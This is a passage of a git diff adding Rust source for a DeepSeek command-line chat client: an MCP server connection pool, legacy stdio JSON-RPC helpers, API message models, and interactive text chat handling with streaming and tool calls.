self, server_name: &str) -> Result<&mut McpConnection> { + let is_ready = self + .connections + .get(server_name) + .map(|conn| conn.is_ready()) + .unwrap_or(false); + if is_ready { + return self + .connections + .get_mut(server_name) + .ok_or_else(|| anyhow::anyhow!("MCP connection disappeared for {server_name}")); + } + + self.connections.remove(server_name); + + let server_config = self + .config + .servers + .get(server_name) + .ok_or_else(|| anyhow::anyhow!("Failed to find MCP server: {server_name}"))? + .clone(); + + if server_config.disabled { + anyhow::bail!("Failed to connect MCP server '{server_name}': server is disabled"); + } + + let connection = McpConnection::connect( + server_name.to_string(), + server_config, + &self.config.timeouts, + ) + .await?; + + self.connections.insert(server_name.to_string(), connection); + self.connections + .get_mut(server_name) + .ok_or_else(|| anyhow::anyhow!("Failed to store MCP connection for {server_name}")) + } + + /// Connect to all enabled servers, returning errors for failed connections + pub async fn connect_all(&mut self) -> Vec<(String, anyhow::Error)> { + let mut errors = Vec::new(); + let names: Vec = self + .config + .servers + .keys() + .filter(|n| !self.config.servers[*n].disabled) + .cloned() + .collect(); + + for name in names { + if let Err(e) = self.get_or_connect(&name).await { + errors.push((name, e)); + } + } + + errors + } + + /// Get all discovered tools with server-prefixed names + pub fn all_tools(&self) -> Vec<(String, &McpTool)> { + let mut tools = Vec::new(); + for (server, conn) in &self.connections { + for tool in conn.tools() { + // Format: mcp_{server}_{tool} + tools.push((format!("mcp_{}_{}", server, tool.name), tool)); + } + } + tools + } + + /// Convert discovered tools to API Tool format + pub fn to_api_tools(&self) -> Vec { + self.all_tools() + .into_iter() + .map(|(name, tool)| crate::models::Tool { + name, + description: tool.description.clone().unwrap_or_default(), + input_schema: tool.input_schema.clone(), + cache_control: None, + }) + .collect() + } + + /// Call a tool by its prefixed name (mcp_{server}_{tool}) + pub async fn call_tool( + &mut self, + prefixed_name: &str, + arguments: serde_json::Value, + ) -> Result { + let parts: Vec<&str> = prefixed_name.splitn(3, '_').collect(); + if parts.len() != 3 || parts[0] != "mcp" { + anyhow::bail!( + "Failed to parse MCP tool name '{prefixed_name}': expected format mcp_{{server}}_{{tool}}" + ); + } + + let (server_name, tool_name) = (parts[1], parts[2]); + // Copy the global timeouts to avoid borrow conflict + let global_timeouts = self.config.timeouts; + let conn = self.get_or_connect(server_name).await?; + let timeout = conn.config().effective_execute_timeout(&global_timeouts); + conn.call_tool(tool_name, arguments, timeout).await + } + + /// Get list of configured server names + pub fn server_names(&self) -> Vec<&str> { + self.config + .servers + .keys() + .map(std::string::String::as_str) + .collect() + } + + /// Get list of connected server names + pub fn connected_servers(&self) -> Vec<&str> { + self.connections + .iter() + .filter(|(_, c)| c.is_ready()) + .map(|(n, _)| n.as_str()) + .collect() + } + + /// Disconnect all connections + pub fn disconnect_all(&mut self) { + self.connections.clear(); + } + + /// Get the underlying configuration + pub fn config(&self) -> &McpConfig { + &self.config + } + + /// Check if a tool name is an MCP tool + pub fn is_mcp_tool(name: &str) -> bool { + name.starts_with("mcp_") + } +} + +// === Helper Functions === + +/// Format MCP tool result for display +pub fn format_tool_result(result: &serde_json::Value) -> String { + let is_error = result + .get("isError") + .and_then(serde_json::Value::as_bool) + .unwrap_or(false); + + let content = result + .get("content") + .and_then(|v| v.as_array()) + .map_or_else( + || serde_json::to_string_pretty(result).unwrap_or_default(), + |arr| { + arr.iter() + .filter_map(|item| match item.get("type")?.as_str()? { + "text" => item.get("text")?.as_str().map(String::from), + other => Some(format!("[{other} content]")), + }) + .collect::>() + .join("\n") + }, + ); + + if is_error { + format!("Error: {content}") + } else { + content + } +} + +// === Backward Compatibility - Sync API (Legacy) === + +/// Legacy input struct for adding MCP servers +#[derive(Debug, Clone)] +pub struct McpServerInput { + pub name: String, + pub command: String, + pub args: Vec, + pub env: Vec, +} + +/// Legacy MCP server struct for internal use +#[derive(Debug, Serialize, Deserialize, Default)] +struct LegacyMcpServer { + command: String, + args: Vec, + env: HashMap, + #[serde(default)] + connect_timeout: Option, + #[serde(default)] + execute_timeout: Option, + #[serde(default)] + read_timeout: Option, +} + +/// Legacy config wrapper for backward compatibility +#[derive(Debug, Serialize, Deserialize, Default)] +struct LegacyMcpConfig { + #[serde(default, alias = "mcpServers")] + servers: HashMap, + #[serde(default)] + timeouts: McpTimeouts, +} + +/// List configured MCP servers (sync, for CLI) +pub fn list(path: &Path) -> Result<()> { + let config = load_legacy(path)?; + if config.servers.is_empty() { + println!("No MCP servers configured."); + return Ok(()); + } + + for (name, server) in config.servers { + println!("{} -> {} {}", name, server.command, server.args.join(" ")); + } + Ok(()) +} + +/// Add an MCP server to configuration (sync, for CLI) +pub fn add(path: &Path, input: McpServerInput) -> Result<()> { + let mut config = load_legacy(path)?; + let env = parse_env(&input.env)?; + config.servers.insert( + input.name.clone(), + LegacyMcpServer { + command: input.command, + args: input.args, + env, + connect_timeout: None, + execute_timeout: None, + read_timeout: None, + }, + ); + save_legacy(path, &config)?; + println!("Added MCP server: {}", input.name); + Ok(()) +} + +/// Remove an MCP server from configuration (sync, for CLI) +pub fn remove(path: &Path, name: &str) -> Result<()> { + let mut config = load_legacy(path)?; + if config.servers.remove(name).is_some() { + save_legacy(path, &config)?; + println!("Removed MCP server: {name}"); + } else { + println!("No MCP server named {name}."); + } + Ok(()) +} + +/// Call an MCP tool (sync, for backward compatibility) +pub fn call_tool( + path: &Path, + server: &str, + tool: &str, + args: &serde_json::Value, +) -> Result { + let config = load_legacy(path)?; + let Some(server_cfg) = config.servers.get(server) else { + anyhow::bail!("Failed to find MCP server: {server}"); + }; + let timeouts = config.timeouts; + let connect_timeout = server_cfg + .connect_timeout + .unwrap_or(timeouts.connect_timeout); + let execute_timeout = server_cfg + .execute_timeout + .unwrap_or(timeouts.execute_timeout); + let read_timeout = server_cfg.read_timeout.unwrap_or(timeouts.read_timeout); + + let mut cmd = Command::new(&server_cfg.command); + cmd.args(&server_cfg.args) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + + for (key, value) in &server_cfg.env { + cmd.env(key, value); + } + + let mut child = cmd.spawn().with_context(|| "Failed to spawn MCP server")?; + let mut stdin = child.stdin.take().context("Failed to open MCP stdin")?; + let stdout = child.stdout.take().context("Failed to open MCP stdout")?; + let reader = Arc::new(Mutex::new(BufReader::new(stdout))); + let child = Arc::new(Mutex::new(child)); + + let init_id = next_id(); + let init_payload = serde_json::json!({ + "jsonrpc": "2.0", + "id": init_id, + "method": "initialize", + "params": { + "protocolVersion": "2024-11-05", + "clientInfo": { "name": "deepseek-cli", "version": env!("CARGO_PKG_VERSION") }, + "capabilities": {} + } + }); + send_request_sync(&mut stdin, &init_payload)?; + if let Err(e) = read_response_with_timeout( + &reader, + &child, + init_id, + Duration::from_secs(connect_timeout), + read_timeout, + ) { + if let Ok(mut child_guard) = child.lock() { + let _ = child_guard.kill(); + } + return Err(e); + } + let initialized_payload = serde_json::json!({ + "jsonrpc": "2.0", + "method": "initialized", + "params": {} + }); + send_request_sync(&mut stdin, &initialized_payload)?; + + let call_id = next_id(); + let call_payload = serde_json::json!({ + "jsonrpc": "2.0", + "id": call_id, + "method": "tools/call", + "params": { + "name": tool, + "arguments": args + } + }); + send_request_sync(&mut stdin, &call_payload)?; + let response = match read_response_with_timeout( + &reader, + &child, + call_id, + Duration::from_secs(execute_timeout), + read_timeout, + ) { + Ok(result) => result, + Err(e) => { + if let Ok(mut child_guard) = child.lock() { + let _ = child_guard.kill(); + } + return Err(e); + } + }; + + if let Ok(mut child_guard) = child.lock() { + let _ = child_guard.kill(); + } + + if let Some(result) = response.get("result") { + return Ok(serde_json::to_string_pretty(result)?); + } + if let Some(error) = response.get("error") { + return Ok(serde_json::to_string_pretty(error)?); + } + Ok(serde_json::to_string_pretty(&response)?) +} + +fn load_legacy(path: &Path) -> Result { + if path.exists() { + let contents = fs::read_to_string(path) + .with_context(|| format!("Failed to read {}", path.display()))?; + let config = serde_json::from_str(&contents) + .with_context(|| format!("Failed to parse {}", path.display()))?; + Ok(config) + } else { + Ok(LegacyMcpConfig::default()) + } +} + +fn save_legacy(path: &Path, config: &LegacyMcpConfig) -> Result<()> { + if let Some(parent) = path.parent() { + fs::create_dir_all(parent)?; + } + let contents = serde_json::to_string_pretty(config)?; + fs::write(path, contents)?; + Ok(()) +} + +fn parse_env(items: &[String]) -> Result> { + let mut env = HashMap::new(); + for item in items { + let parts: Vec<&str> = item.splitn(2, '=').collect(); + if parts.len() != 2 { + anyhow::bail!("Failed to parse MCP env var '{item}': expected KEY=VALUE"); + } + env.insert(parts[0].to_string(), parts[1].to_string()); + } + Ok(env) +} + +fn send_request_sync(stdin: &mut impl Write, payload: &serde_json::Value) -> Result<()> { + let line = serde_json::to_string(payload)?; + stdin + .write_all(format!("{line}\n").as_bytes()) + .with_context(|| "Failed to write MCP request")?; + stdin.flush()?; + Ok(()) +} + +fn read_response_with_timeout( + reader: &Arc>>, + child: &Arc>, + id: u64, + timeout: Duration, + read_timeout: u64, +) -> Result { + let effective_timeout = Duration::from_secs(timeout.as_secs().min(read_timeout)); + let (tx, rx) = std::sync::mpsc::channel(); + + let reader_clone = Arc::clone(reader); + std::thread::spawn(move || { + let result = read_response_sync(&reader_clone, id); + let _ = tx.send(result); + }); + + if let Ok(result) = rx.recv_timeout(effective_timeout) { + result + } else { + if let Ok(mut child_guard) = child.lock() { + let _ = child_guard.kill(); + } + anyhow::bail!( + "Failed to read MCP response: timed out after {}s", + effective_timeout.as_secs() + ) + } +} + +fn read_response_sync( + reader: &Arc>>, + id: u64, +) -> Result { + let mut line = String::new(); + loop { + line.clear(); + let read = { + let mut guard = reader + .lock() + .map_err(|_| anyhow::anyhow!("MCP reader lock poisoned"))?; + guard.read_line(&mut line)? + }; + if read == 0 { + anyhow::bail!("Failed to read MCP response: server closed output before responding."); + } + let trimmed = line.trim(); + if trimmed.is_empty() { + continue; + } + if let Ok(value) = serde_json::from_str::(trimmed) + && value.get("id").and_then(serde_json::Value::as_u64) == Some(id) + { + return Ok(value); + } + } +} + +fn next_id() -> u64 { + let micros = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap_or_default() + .as_micros(); + u64::try_from(micros).unwrap_or(u64::MAX) +} + +// === Unit Tests === + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_mcp_config_defaults() { + let config = McpConfig::default(); + assert_eq!(config.timeouts.connect_timeout, 10); + assert_eq!(config.timeouts.execute_timeout, 60); + assert_eq!(config.timeouts.read_timeout, 120); + assert!(config.servers.is_empty()); + } + + #[test] + fn test_mcp_config_parse() { + let json = r#"{ + "timeouts": { + "connect_timeout": 15, + "execute_timeout": 90 + }, + "servers": { + "test": { + "command": "node", + "args": ["server.js"], + "env": {"FOO": "bar"} + } + } + }"#; + + let config: McpConfig = serde_json::from_str(json).unwrap(); + assert_eq!(config.timeouts.connect_timeout, 15); + assert_eq!(config.timeouts.execute_timeout, 90); + assert_eq!(config.timeouts.read_timeout, 120); // default + assert!(config.servers.contains_key("test")); + + let server = config.servers.get("test").unwrap(); + assert_eq!(server.command, "node"); + assert_eq!(server.args, vec!["server.js"]); + assert_eq!(server.env.get("FOO"), Some(&"bar".to_string())); + } + + #[test] + fn test_server_effective_timeouts() { + let global = McpTimeouts::default(); + + let server_with_override = McpServerConfig { + command: "test".to_string(), + args: vec![], + env: HashMap::new(), + connect_timeout: Some(20), + execute_timeout: None, + read_timeout: Some(180), + disabled: false, + }; + + assert_eq!(server_with_override.effective_connect_timeout(&global), 20); + assert_eq!(server_with_override.effective_execute_timeout(&global), 60); // global default + assert_eq!(server_with_override.effective_read_timeout(&global), 180); + } + + #[test] + fn test_mcp_pool_is_mcp_tool() { + assert!(McpPool::is_mcp_tool("mcp_filesystem_read")); + assert!(McpPool::is_mcp_tool("mcp_git_status")); + assert!(!McpPool::is_mcp_tool("read_file")); + assert!(!McpPool::is_mcp_tool("exec_shell")); + } + + #[test] + fn test_format_tool_result_text() { + let result = serde_json::json!({ + "content": [ + {"type": "text", "text": "Hello, world!"} + ] + }); + assert_eq!(format_tool_result(&result), "Hello, world!"); + } + + #[test] + fn test_format_tool_result_error() { + let result = serde_json::json!({ + "isError": true, + "content": [ + {"type": "text", "text": "Something went wrong"} + ] + }); + assert_eq!(format_tool_result(&result), "Error: Something went wrong"); + } + + #[test] + fn test_format_tool_result_multiple_content() { + let result = serde_json::json!({ + "content": [ + {"type": "text", "text": "Line 1"}, + {"type": "text", "text": "Line 2"}, + {"type": "image", "data": "base64..."} + ] + }); + let formatted = format_tool_result(&result); + assert!(formatted.contains("Line 1")); + assert!(formatted.contains("Line 2")); + assert!(formatted.contains("[image content]")); + } + + #[test] + #[cfg(unix)] + fn test_read_response_timeout_kills_child() { + let mut child = Command::new("sh") + .arg("-c") + .arg("sleep 5") + .stdout(Stdio::piped()) + .spawn() + .expect("spawn sleep"); + let stdout = child.stdout.take().expect("stdout"); + let reader = Arc::new(Mutex::new(BufReader::new(stdout))); + let child = Arc::new(Mutex::new(child)); + + let result = read_response_with_timeout(&reader, &child, 1, Duration::from_secs(1), 1); + + assert!(result.is_err()); + let err = result.unwrap_err().to_string(); + assert!(err.contains("timed out")); + + let status = child + .lock() + .expect("lock child") + .wait() + .expect("wait child"); + assert!(!status.success()); + } + + #[tokio::test] + async fn test_mcp_pool_empty_config() { + let pool = McpPool::new(McpConfig::default()); + assert!(pool.server_names().is_empty()); + assert!(pool.all_tools().is_empty()); + } +} diff --git a/src/models.rs b/src/models.rs new file mode 100644 index 00000000..02a3e58a --- /dev/null +++ b/src/models.rs @@ -0,0 +1,200 @@ +//! API request/response models for `DeepSeek` and OpenAI-compatible endpoints. + +use serde::{Deserialize, Serialize}; + +// === Core Message Types === + +/// Request payload for sending a message to the API. +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct MessageRequest { + pub model: String, + pub messages: Vec, + pub max_tokens: u32, + #[serde(skip_serializing_if = "Option::is_none")] + pub system: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub tools: Option>, + #[serde(skip_serializing_if = "Option::is_none")] + pub tool_choice: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub metadata: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub thinking: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub stream: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub temperature: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub top_p: Option, +} + +/// System prompt representation (plain text or structured blocks). +#[derive(Debug, Serialize, Deserialize, Clone)] +#[serde(untagged)] +pub enum SystemPrompt { + Text(String), + Blocks(Vec), +} + +/// A structured system prompt block. +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct SystemBlock { + #[serde(rename = "type")] + pub block_type: String, + pub text: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub cache_control: Option, +} + +/// A chat message with role and content blocks. +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct Message { + pub role: String, + pub content: Vec, +} + +/// A single content block inside a message. +#[derive(Debug, Serialize, Deserialize, Clone)] +#[serde(tag = "type")] +pub enum ContentBlock { + #[serde(rename = "text")] + Text { + text: String, + #[serde(skip_serializing_if = "Option::is_none")] + cache_control: Option, + }, + #[serde(rename = "thinking")] + Thinking { thinking: String }, + #[serde(rename = "tool_use")] + ToolUse { + id: String, + name: String, + input: serde_json::Value, + }, + #[serde(rename = "tool_result")] + ToolResult { + tool_use_id: String, + content: String, + }, +} + +/// Cache control metadata for tool definitions and blocks. +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct CacheControl { + #[serde(rename = "type")] + pub cache_type: String, +} + +/// Tool definition exposed to the model. +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct Tool { + pub name: String, + pub description: String, + pub input_schema: serde_json::Value, + #[serde(skip_serializing_if = "Option::is_none")] + pub cache_control: Option, +} + +/// Response payload for a message request. +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct MessageResponse { + pub id: String, + pub r#type: String, + pub role: String, + pub content: Vec, + pub model: String, + pub stop_reason: Option, + pub stop_sequence: Option, + pub usage: Usage, +} + +/// Token usage metadata for a response. +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct Usage { + pub input_tokens: u32, + pub output_tokens: u32, +} + +/// Map known models to their approximate context window sizes. +#[must_use] +pub fn context_window_for_model(model: &str) -> Option { + let lower = model.to_lowercase(); + if lower.contains("deepseek-chat") || lower.contains("deepseek-reasoner") { + return Some(128_000); + } + if lower.contains("deepseek") { + return Some(128_000); + } + if lower.contains("claude") { + return Some(200_000); + } + None +} + +// === Streaming Structures === + +#[allow(dead_code)] +#[derive(Debug, Deserialize, Clone)] +#[serde(tag = "type")] +/// Streaming event types for SSE responses. +pub enum StreamEvent { + #[serde(rename = "message_start")] + MessageStart { message: MessageResponse }, + #[serde(rename = "content_block_start")] + ContentBlockStart { + index: u32, + content_block: ContentBlockStart, + }, + #[serde(rename = "content_block_delta")] + ContentBlockDelta { index: u32, delta: Delta }, + #[serde(rename = "content_block_stop")] + ContentBlockStop { index: u32 }, + #[serde(rename = "message_delta")] + MessageDelta { + delta: MessageDelta, + usage: Option, + }, + #[serde(rename = "message_stop")] + MessageStop, + #[serde(rename = "ping")] + Ping, +} + +#[allow(dead_code)] +#[derive(Debug, Deserialize, Clone)] +#[serde(tag = "type")] +/// Content block types used in streaming starts. +pub enum ContentBlockStart { + #[serde(rename = "text")] + Text { text: String }, + #[serde(rename = "thinking")] + Thinking { thinking: String }, + #[serde(rename = "tool_use")] + ToolUse { + id: String, + name: String, + input: serde_json::Value, // usually empty or partial + }, +} + +// Variant names match legacy streaming spec, suppressing style warning +#[allow(clippy::enum_variant_names)] +#[derive(Debug, Deserialize, Clone)] +#[serde(tag = "type")] +/// Delta events emitted during streaming responses. +pub enum Delta { + #[serde(rename = "text_delta")] + TextDelta { text: String }, + #[serde(rename = "thinking_delta")] + ThinkingDelta { thinking: String }, + #[serde(rename = "input_json_delta")] + InputJsonDelta { partial_json: String }, +} + +#[allow(dead_code)] +#[derive(Debug, Deserialize, Clone)] +/// Delta payload for message-level updates. +pub struct MessageDelta { + pub stop_reason: Option, + pub stop_sequence: Option, +} diff --git a/src/modules/mod.rs b/src/modules/mod.rs new file mode 100644 index 00000000..742afe17 --- /dev/null +++ b/src/modules/mod.rs @@ -0,0 +1,3 @@ +//! Text chat workflows for DeepSeek APIs. + +pub mod text; diff --git a/src/modules/text.rs b/src/modules/text.rs new file mode 100644 index 00000000..2b733fd1 --- /dev/null +++ b/src/modules/text.rs @@ -0,0 +1,754 @@ +//! Text chat workflows for `DeepSeek` and DeepSeek-compatible APIs. + +use std::collections::HashMap; +use std::io::{self, Write}; +use std::path::Path; +use std::time::Instant; + +use anyhow::{Context, Result}; +use colored::{ColoredString, Colorize}; +use rustyline::completion::{Completer, Pair}; +use rustyline::error::ReadlineError; +use rustyline::highlight::Highlighter; +use rustyline::hint::Hinter; +use rustyline::history::DefaultHistory; +use rustyline::validate::Validator; +use rustyline::{Context as RlContext, Editor, Helper}; +use serde_json::{Value, json}; + +use crate::client::DeepSeekClient; +use crate::models::{ + CacheControl, ContentBlock, ContentBlockStart, Delta, Message, MessageRequest, StreamEvent, + SystemBlock, SystemPrompt, Tool, Usage, +}; +use crate::palette; +use crate::utils::pretty_json; + +// === Types === + +/// Options for running text chat sessions. +#[allow(clippy::struct_excessive_bools)] +pub struct TextChatOptions { + pub model: String, + pub prompt: Option, + pub system: Option, + pub stream: bool, + pub temperature: Option, + pub top_p: Option, + pub max_tokens: u32, + pub cache_prompt: bool, + pub cache_system: bool, + pub cache_tools: bool, + pub tools: Option>, + pub tool_choice: Option, +} + +// === Public API === + +pub async fn run_deepseek_chat(client: &DeepSeekClient, options: TextChatOptions) -> Result<()> { + let mut messages: Vec = Vec::new(); + let mut stats = SessionStats::new(); + + print_banner("DeepSeek Compatible API"); + print_session_info( + &options, + messages.len(), + options.tools.as_ref().map_or(0, std::vec::Vec::len), + ); + + if let Some(prompt) = options.prompt.as_deref() { + process_deepseek_turn(client, &options, &mut messages, prompt, &mut stats).await?; + } else { + let mut rl = create_editor()?; + while let Some(line) = read_prompt(&mut rl)? { + if handle_line_deepseek(line, client, &options, &mut messages, &mut stats).await? { + break; + } + } + } + + Ok(()) +} + +pub async fn run_official_chat(client: &DeepSeekClient, options: TextChatOptions) -> Result<()> { + let mut messages: Vec = Vec::new(); + let mut stats = SessionStats::new(); + + if let Some(system) = options.system.clone() { + messages.push(json!({ "role": "system", "content": system })); + } + + print_banner("Official API"); + print_session_info( + &options, + messages.len(), + options.tools.as_ref().map_or(0, std::vec::Vec::len), + ); + + if let Some(prompt) = options.prompt.as_deref() { + process_official_turn(client, &options, &mut messages, prompt, &mut stats).await?; + } else { + let mut rl = create_editor()?; + while let Some(line) = read_prompt(&mut rl)? { + if handle_line_official( + line, + client, + &options, + &mut messages, + &mut stats, + options.system.as_deref(), + ) + .await? + { + break; + } + } + } + + Ok(()) +} + +pub fn load_tools( + tools_file: Option<&Path>, + tools_json: Option<&str>, +) -> Result>> { + let tools = if let Some(raw_json) = tools_json { + let parsed: Vec = serde_json::from_str(raw_json) + .context("Failed to parse tools_json: expected an array of tool definitions.")?; + Some(parsed) + } else if let Some(path) = tools_file { + let contents = std::fs::read_to_string(path) + .with_context(|| format!("Failed to read tools file: {}", path.display()))?; + let parsed: Vec = serde_json::from_str(&contents) + .with_context(|| format!("Failed to parse tools file: {}", path.display()))?; + Some(parsed) + } else { + None + }; + + Ok(tools) +} + +pub fn parse_tool_choice(choice: Option<&str>) -> Result> { + let Some(choice) = choice else { + return Ok(None); + }; + let trimmed = choice.trim(); + if trimmed.starts_with('{') || trimmed.starts_with('[') { + let value: Value = + serde_json::from_str(trimmed).context("Failed to parse tool_choice: expected JSON.")?; + return Ok(Some(value)); + } + + let value = match trimmed { + "auto" | "none" | "any" => json!({ "type": trimmed }), + _ => json!({ "type": "tool", "name": trimmed }), + }; + Ok(Some(value)) +} + +#[allow(clippy::too_many_lines)] +async fn process_deepseek_turn( + client: &DeepSeekClient, + options: &TextChatOptions, + messages: &mut Vec, + user_input: &str, + stats: &mut SessionStats, +) -> Result<()> { + let cache_control = if options.cache_prompt { + Some(CacheControl { + cache_type: "ephemeral".to_string(), + }) + } else { + None + }; + + messages.push(Message { + role: "user".to_string(), + content: vec![ContentBlock::Text { + text: user_input.to_string(), + cache_control, + }], + }); + + let request = MessageRequest { + model: options.model.clone(), + messages: messages.clone(), + max_tokens: options.max_tokens, + system: build_system_prompt(options.system.as_deref(), options.cache_system), + tools: cache_tools(options.tools.clone(), options.cache_tools), + tool_choice: options.tool_choice.clone(), + metadata: None, + thinking: None, + stream: Some(options.stream), + temperature: options.temperature, + top_p: options.top_p, + }; + + if options.stream { + let stream = client.create_message_stream(request).await?; + tokio::pin!(stream); + + let mut current_thinking = String::new(); + let mut current_text = String::new(); + let mut block_types: HashMap = HashMap::new(); + let mut tool_blocks: HashMap = HashMap::new(); + let mut is_thinking = false; + + while let Some(event) = futures_util::StreamExt::next(&mut stream).await { + let event = event?; + match event { + StreamEvent::ContentBlockStart { + index, + content_block, + } => match content_block { + ContentBlockStart::Thinking { .. } => { + is_thinking = true; + block_types.insert(index, "thinking".to_string()); + println!("{}", ds_sky("Thinking 💭").dimmed()); + } + ContentBlockStart::Text { .. } => { + if is_thinking { + println!(); + is_thinking = false; + } + block_types.insert(index, "text".to_string()); + } + ContentBlockStart::ToolUse { id, name, .. } => { + block_types.insert(index, "tool_use".to_string()); + tool_blocks.insert(index, (id, name.clone(), String::new())); + println!( + "{} {}", + ds_blue("Tool Call:").bold(), + ds_blue(&name).bold() + ); + } + }, + StreamEvent::ContentBlockDelta { index, delta } => match delta { + Delta::ThinkingDelta { thinking } => { + print!("{}", ds_sky(&thinking).dimmed()); + io::stdout().flush()?; + current_thinking.push_str(&thinking); + } + Delta::TextDelta { text } => { + print!("{text}"); + io::stdout().flush()?; + current_text.push_str(&text); + } + Delta::InputJsonDelta { partial_json } => { + if let Some((_id, _name, json)) = tool_blocks.get_mut(&index) { + json.push_str(&partial_json); + } + } + }, + StreamEvent::ContentBlockStop { index } => { + if let Some(block_type) = block_types.get(&index) + && block_type == "tool_use" + && let Some((_id, name, json_str)) = tool_blocks.get(&index) + { + if let Ok(parsed) = serde_json::from_str::(json_str) { + println!("{} {}", ds_blue("Tool Input:"), pretty_json(&parsed)); + } else if !json_str.is_empty() { + println!("{} {}", ds_blue("Tool Input:"), json_str); + } + println!("{}", ds_blue(&format!("Tool End: {name}")).dimmed()); + } + } + StreamEvent::MessageDelta { + usage: Some(usage), .. + } => { + stats.update(&usage); + } + _ => {} + } + } + println!(); + + let mut blocks = Vec::new(); + if !current_thinking.is_empty() { + blocks.push(ContentBlock::Thinking { + thinking: current_thinking, + }); + } + if !current_text.is_empty() { + blocks.push(ContentBlock::Text { + text: current_text, + cache_control: None, + }); + } + for (_index, (id, name, input)) in tool_blocks { + let parsed = serde_json::from_str::(&input).unwrap_or(Value::String(input)); + blocks.push(ContentBlock::ToolUse { + id, + name, + input: parsed, + }); + } + + messages.push(Message { + role: "assistant".to_string(), + content: blocks, + }); + } else { + let response = client.create_message(request).await?; + for block in &response.content { + match block { + ContentBlock::Thinking { thinking } => { + println!("{}", ds_sky("\nThinking 💭").dimmed()); + println!("{}", ds_sky(thinking).dimmed()); + } + ContentBlock::Text { text, .. } => { + println!("{text}"); + } + ContentBlock::ToolUse { name, input, .. } => { + println!( + "{} {}", + ds_blue("Tool Call:").bold(), + ds_blue(name).bold() + ); + println!("{}", pretty_json(input)); + } + ContentBlock::ToolResult { content, .. } => { + if let Ok(value) = serde_json::from_str::(content) { + println!("{}", pretty_json(&value)); + } else { + println!("{content}"); + } + } + } + } + + messages.push(Message { + role: "assistant".to_string(), + content: response.content, + }); + stats.update(&response.usage); + } + + Ok(()) +} + +async fn process_official_turn( + client: &DeepSeekClient, + options: &TextChatOptions, + messages: &mut Vec, + user_input: &str, + stats: &mut SessionStats, +) -> Result<()> { + messages.push(json!({ "role": "user", "content": user_input })); + + let request = json!({ + "model": options.model, + "messages": messages, + "stream": false, + "max_tokens": options.max_tokens, + "temperature": options.temperature, + "top_p": options.top_p, + "tools": options.tools, + "tool_choice": options.tool_choice, + }); + + let response: Value = client + .post_json("/v1/text/chatcompletion_v2", &request) + .await?; + if let Some(text) = extract_text_from_response(&response) { + println!("{text}"); + messages.push(json!({ "role": "assistant", "content": text })); + } else { + println!("{}", pretty_json(&response)); + } + update_stats_from_official_response(&response, stats); + + Ok(()) +} + +fn extract_text_from_response(response: &Value) -> Option { + let choices = response.get("choices")?.as_array()?; + let choice = choices.first()?; + if let Some(message) = choice.get("message") + && let Some(content) = message.get("content") + && let Some(text) = content.as_str() + { + return Some(text.to_string()); + } + if let Some(text) = choice.get("text").and_then(|v| v.as_str()) { + return Some(text.to_string()); + } + None +} + +fn build_system_prompt(system: Option<&str>, cache_system: bool) -> Option { + let text = system?; + if !cache_system { + return Some(SystemPrompt::Text(text.to_string())); + } + let blocks = vec![SystemBlock { + block_type: "text".to_string(), + text: text.to_string(), + cache_control: Some(CacheControl { + cache_type: "ephemeral".to_string(), + }), + }]; + Some(SystemPrompt::Blocks(blocks)) +} + +fn cache_tools(tools: Option>, cache_tools: bool) -> Option> { + if !cache_tools { + return tools; + } + let mut tools = tools?; + if let Some(last) = tools.last_mut() { + last.cache_control = Some(CacheControl { + cache_type: "ephemeral".to_string(), + }); + } + Some(tools) +} + +fn update_stats_from_official_response(response: &Value, stats: &mut SessionStats) { + let usage = response.get("usage").and_then(|value| value.as_object()); + if let Some(usage) = usage { + let input = usage + .get("input_tokens") + .or_else(|| usage.get("prompt_tokens")) + .and_then(serde_json::Value::as_u64) + .and_then(|v| u32::try_from(v).ok()) + .unwrap_or(0); + let output = usage + .get("output_tokens") + .or_else(|| usage.get("completion_tokens")) + .and_then(serde_json::Value::as_u64) + .and_then(|v| u32::try_from(v).ok()) + .unwrap_or(0); + let total = usage + .get("total_tokens") + .and_then(serde_json::Value::as_u64) + .and_then(|v| u32::try_from(v).ok()) + .unwrap_or_else(|| input.saturating_add(output)); + stats.add_counts(input, output, Some(total)); + } +} + +fn matches_exit(input: &str) -> bool { + let normalized = input.trim().to_lowercase(); + matches!(normalized.as_str(), "exit" | "quit" | "q" | "/exit") +} + +fn handle_command_deepseek( + input: &str, + messages: &mut Vec, + options: Option<&TextChatOptions>, + stats: &mut SessionStats, +) -> bool { + let trimmed = input.trim(); + if !trimmed.starts_with('/') { + return false; + } + + match trimmed { + "/help" => { + print_help(); + } + "/history" => { + println!("Messages: {}", messages.len()); + } + "/stats" => { + print_stats(stats); + } + "/clear" => { + messages.clear(); + stats.reset(); + if let Some(options) = options { + print_session_info( + options, + messages.len(), + options.tools.as_ref().map_or(0, std::vec::Vec::len), + ); + } + } + _ => { + println!("Unknown command. Type /help for available commands."); + } + } + true +} + +fn handle_command_official( + input: &str, + messages: &mut Vec, + options: Option<&TextChatOptions>, + stats: &mut SessionStats, + system_prompt: Option<&str>, +) -> bool { + let trimmed = input.trim(); + if !trimmed.starts_with('/') { + return false; + } + + match trimmed { + "/help" => { + print_help(); + } + "/history" => { + println!("Messages: {}", messages.len()); + } + "/stats" => { + print_stats(stats); + } + "/clear" => { + messages.clear(); + if let Some(system) = system_prompt { + messages.push(json!({ "role": "system", "content": system })); + } + stats.reset(); + if let Some(options) = options { + print_session_info( + options, + messages.len(), + options.tools.as_ref().map_or(0, std::vec::Vec::len), + ); + } + } + _ => { + println!("Unknown command. Type /help for available commands."); + } + } + true +} + +fn print_banner(mode: &str) { + println!("{}", ds_blue("DeepSeek CLI").bold()); + println!("Mode: {mode}"); + println!("Type /help for commands. Use /exit to quit.\n"); +} + +fn print_help() { + 